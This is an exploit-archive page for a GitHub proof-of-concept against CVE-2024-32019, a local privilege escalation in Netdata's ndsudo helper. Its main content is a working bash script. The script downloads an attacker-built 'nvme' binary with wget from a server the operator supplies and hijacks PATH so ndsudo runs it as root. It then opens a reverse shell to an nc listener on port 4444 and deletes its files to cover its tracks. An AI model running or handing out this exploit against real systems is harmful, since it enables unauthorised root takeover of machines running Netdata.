Exploit databaseDownload repository ZIP
GH-837b63572f9f00a45bc274d7129cfe39
80ottanta80/cve-2024-32019-poc
Sources for CVE-2024-32019
9 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files4
80ottanta80/cve-2024-32019-pocRevision a2a5d20ec3c7
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
ndsudo_pe.sh
Shell · 1,036 bytes#!/bin/bash
# This exploit uses CVE-2024-32019 to start a reverse shell with administrative rights (Open a listener on another terminal)
echo "--------- Exploit by Ottanta ---------"
# Get IP from parameter
SERVER_IP="${1}"
echo "[+] Using server IP: $SERVER_IP"
echo "[!] Make sure to upload nvme binary compiled with IP: $SERVER_IP to your web server"
# Create a directory for the exploit
mkdir -p /tmp/exploit
# Download the exploit from the local server
echo "[+] Downloading Exploit..."
wget http://$SERVER_IP/nvme -O /tmp/exploit/nvme -q
# Check if download was successful
if [ ! -f /tmp/exploit/nvme ]; then
echo "[-] Failed to download nvme binary!"
exit 1
fi
# Configure exploit file
echo "[+] Configuring Exploit..."
chmod +x /tmp/exploit/nvme
# Execute the exploit
echo "[+] Executing exploit..."
echo "[!] Make sure to start listener: nc -nlvp 4444"
export PATH="/tmp/exploit:$PATH"
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
# Clean any trace
echo "[+] Cleaning up..."
rm -rf /tmp/exploit